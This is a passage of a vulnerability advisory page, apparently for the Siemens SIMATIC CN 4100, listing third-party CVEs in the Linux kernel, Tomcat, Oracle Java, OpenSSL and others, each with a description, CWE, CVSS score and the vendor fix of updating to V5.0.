class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39864\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: fix use-after-free in cmp_bss() Following bss_free() quirk introduced in commit 776b3580178f (\"cfg80211: track hidden SSID networks properly\"), adjust cfg80211_update_known_bss() to free the last beacon frame elements only if they're not shared via the corresponding 'hidden_beacon_bss' pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39865\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tee: fix NULL pointer dereference in tee_shm_put tee_shm_put have NULL pointer dereference: __optee_disable_shm_cache --> shm = reg_pair_to_ptr(...);//shm maybe return NULL tee_shm_free(shm); --> tee_shm_put(shm);//crash Add check in tee_shm_put to fix it. panic log: Unable to handle kernel paging request at virtual address 0000000000100cca Mem abort info: ESR = 0x0000000096000004 EC = 0x25: DABT (current EL), IL = 32 bits SET = 0, FnV = 0 EA = 0, S1PTW = 0 FSC = 0x04: level 0 translation fault Data abort info: ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000 CM = 0, WnR = 0, TnD = 0, TagAccess = 0 GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 user pgtable: 4k pages, 48-bit VAs, pgdp=0000002049d07000 [0000000000100cca] pgd=0000000000000000, p4d=0000000000000000 Internal error: Oops: 0000000096000004 [#1] SMP CPU: 2 PID: 14442 Comm: systemd-sleep Tainted: P OE ------- ---- 6.6.0-39-generic #38 Source Version: 938b255f6cb8817c95b0dd5c8c2944acfce94b07 Hardware name: greatwall GW-001Y1A-FTH, BIOS Great Wall BIOS V3.0 10/26/2022 pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : tee_shm_put+0x24/0x188 lr : tee_shm_free+0x14/0x28 sp : ffff001f98f9faf0 x29: ffff001f98f9faf0 x28: ffff0020df543cc0 x27: 0000000000000000 x26: ffff001f811344a0 x25: ffff8000818dac00 x24: ffff800082d8d048 x23: ffff001f850fcd18 x22: 0000000000000001 x21: ffff001f98f9fb88 x20: ffff001f83e76218 x19: ffff001f83e761e0 x18: 000000000000ffff x17: 303a30303a303030 x16: 0000000000000000 x15: 0000000000000003 x14: 0000000000000001 x13: 0000000000000000 x12: 0101010101010101 x11: 0000000000000001 x10: 0000000000000001 x9 : ffff800080e08d0c x8 : ffff001f98f9fb88 x7 : 0000000000000000 x6 : 0000000000000000 x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000 x2 : ffff001f83e761e0 x1 : 00000000ffff001f x0 : 0000000000100cca Call trace: tee_shm_put+0x24/0x188 tee_shm_free+0x14/0x28 __optee_disable_shm_cache+0xa8/0x108 optee_shutdown+0x28/0x38 platform_shutdown+0x28/0x40 device_shutdown+0x144/0x2b0 kernel_power_off+0x3c/0x80 hibernate+0x35c/0x388 state_store+0x64/0x80 kobj_attr_store+0x14/0x28 sysfs_kf_write+0x48/0x60 kernfs_fop_write_iter+0x128/0x1c0 vfs_write+0x270/0x370 ksys_write+0x6c/0x100 __arm64_sys_write+0x20/0x30 invoke_syscall+0x4c/0x120 el0_svc_common.constprop.0+0x44/0xf0 do_el0_svc+0x24/0x38 el0_svc+0x24/0x88 el0t_64_sync_handler+0x134/0x150 el0t_64_sync+0x14c/0x15\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39866\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: writeback: fix use-after-free in __mark_inode_dirty() An use-after-free issue occurred when __mark_inode_dirty() get the bdi_writeback that was in the progress of switching. CPU: 1 PID: 562 Comm: systemd-random- Not tainted 6.6.56-gb4403bd46a8e #1 ...... pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __mark_inode_dirty+0x124/0x418 lr : __mark_inode_dirty+0x118/0x418 sp : ffffffc08c9dbbc0 ........ Call trace: __mark_inode_dirty+0x124/0x418 generic_update_time+0x4c/0x60 file_modified+0xcc/0xd0 ext4_buffered_write_iter+0x58/0x124 ext4_file_write_iter+0x54/0x704 vfs_write+0x1c0/0x308 ksys_write+0x74/0x10c __arm64_sys_write+0x1c/0x28 invoke_syscall+0x48/0x114 el0_svc_common.constprop.0+0xc0/0xe0 do_el0_svc+0x1c/0x28 el0_svc+0x40/0xe4 el0t_64_sync_handler+0x120/0x12c el0t_64_sync+0x194/0x198 Root cause is: systemd-random-seed kworker ---------------------------------------------------------------------- ___mark_inode_dirty inode_switch_wbs_work_fn spin_lock(&inode->i_lock); inode_attach_wb locked_inode_to_wb_and_lock_list get inode->i_wb spin_unlock(&inode->i_lock); spin_lock(&wb->list_lock) spin_lock(&inode->i_lock) inode_io_list_move_locked spin_unlock(&wb->list_lock) spin_unlock(&inode->i_lock) spin_lock(&old_wb->list_lock) inode_do_switch_wbs spin_lock(&inode->i_lock) inode->i_wb = new_wb spin_unlock(&inode->i_lock) spin_unlock(&old_wb->list_lock) wb_put_many(old_wb, nr_switched) cgwb_release old wb released wb_wakeup_delayed() accesses wb, then trigger the use-after-free issue Fix this race condition by holding inode spinlock until wb_wakeup_delayed() finished.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-40300\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/vmscape: Add conditional IBPB mitigation VMSCAPE is a vulnerability that exploits insufficient branch predictor isolation between a guest and a userspace hypervisor (like QEMU). Existing mitigations already protect kernel/KVM from a malicious guest. Userspace can additionally be protected by flushing the branch predictors after a VMexit. Since it is the userspace that consumes the poisoned branch predictors, conditionally issue an IBPB after a VMexit and before returning to userspace. Workloads that frequently switch between hypervisor and userspace will incur the most overhead from the new IBPB. This new IBPB is not integrated with the existing IBPB sites. For instance, a task can use the existing speculation control prctl() to get an IBPB at context switch time. With this implementation, the IBPB is doubled up: one at context switch and another before running userspace. The intent is to integrate and optimize these cases post-embargo. [ dhansen: elaborate on suboptimal IBPB solution ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-43368\n<div class=\"csaf-accordion-content\">\n\nA use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26, iOS 26 and iPadOS 26, macOS Tahoe 26. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-47219\n<div class=\"csaf-accordion-content\">\n\nIn GStreamer through 1.26.1, the isomp4 plugin's qtdemux_parse_trak function may read past the end of a heap buffer while parsing an MP4 file, possibly leading to information disclosure.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n8.1\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-48989\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat made Tomcat vulnerable to the made you reset attack. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.9, from 10.1.0-M1 through 10.1.43 and from 9.0.0.M1 through 9.0.107. Older, EOL versions may also be affected. Users are recommended to upgrade to one of versions 11.0.10, 10.1.44 or 9.0.108 which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53057\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53066\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JAXP). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55752\n<div class=\"csaf-accordion-content\">\n\nRelative Path Traversal vulnerability in Apache Tomcat. The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-23 Relative Path Traversal\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55754\n<div class=\"csaf-accordion-content\">\n\nImproper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat. Tomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-150 Improper Neutralization of Escape, Meta, or Control Sequences\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.6\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61748\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Oracle Java SE: 21.0.8 and 25; Oracle GraalVM for JDK: 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61795\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat. If an error occurred (including exceeding limits) during the processing of a multipart upload, temporary copies of the uploaded parts written to disc were not cleaned up immediately but left for the garbage collection process to delete. Depending on JVM settings, application memory usage and application load, it was possible that space for the temporary copies of uploaded parts would be filled faster than GC cleared it, leading to a DoS. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.11, from 10.1.0-M1 through 10.1.46, from 9.0.0.M1 through 9.0.109. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.12 or later, 10.1.47 or later or 9.0.110 or later which fixes the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-2673\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected preferred key exchange group when its key exchange group configuration includes the default by using the 'DEFAULT' keyword. Impact summary: A less preferred key exchange may be used even when a more preferred group is supported by both client and server, if the group was not included among the client's initial predicated keyshares. This will sometimes be the case with the new hybrid post-quantum groups, if the client chooses to defer their use until specifically requested by the server. If an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to interpolate the built-in default group list into its own configuration, perhaps adding or removing specific elements, then an implementation defect causes the 'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups were treated as a single sufficiently secure 'tuple', with the server not sending a Hello Retry Request (HRR) even when a group in a more preferred tuple was mutually supported. As a result, the client and server might fail to negotiate a mutually supported post-quantum key agreement group, such as 'X25519MLKEM768', if the client's configuration results in only 'classical' groups (such as 'X25519' being the only ones in the client's initial keyshare prediction). OpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS 1.3 key agreement group on TLS servers. The old syntax had a single 'flat' list of groups, and treated all the supported groups as sufficiently secure. If any of the keyshares predicted by the client were supported by the server the most preferred among these was selected, even if other groups supported by the client, but not included in the list of predicted keyshares would have been more preferred, if included. The new syntax partitions the groups into distinct 'tuples' of roughly equivalent security. Within each tuple the most preferred group included among the client's predicted keyshares is chosen, but if the client supports a group from a more preferred tuple, but did not predict any corresponding keyshares, the server will ask the client to retry the ClientHello (by issuing a Hello Retry Request or HRR) with the most preferred mutually supported group. The above works as expected when the server's configuration uses the built-in default group list, or explicitly defines its own list by directly defining the various desired groups and group 'tuples'. No OpenSSL FIPS modules are affected by this issue, the code in question lies outside the FIPS boundary. OpenSSL 3.6 and 3.5 are vulnerable to this issue. OpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released. OpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-757 Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21925\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: RMI). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.8\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21932\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for 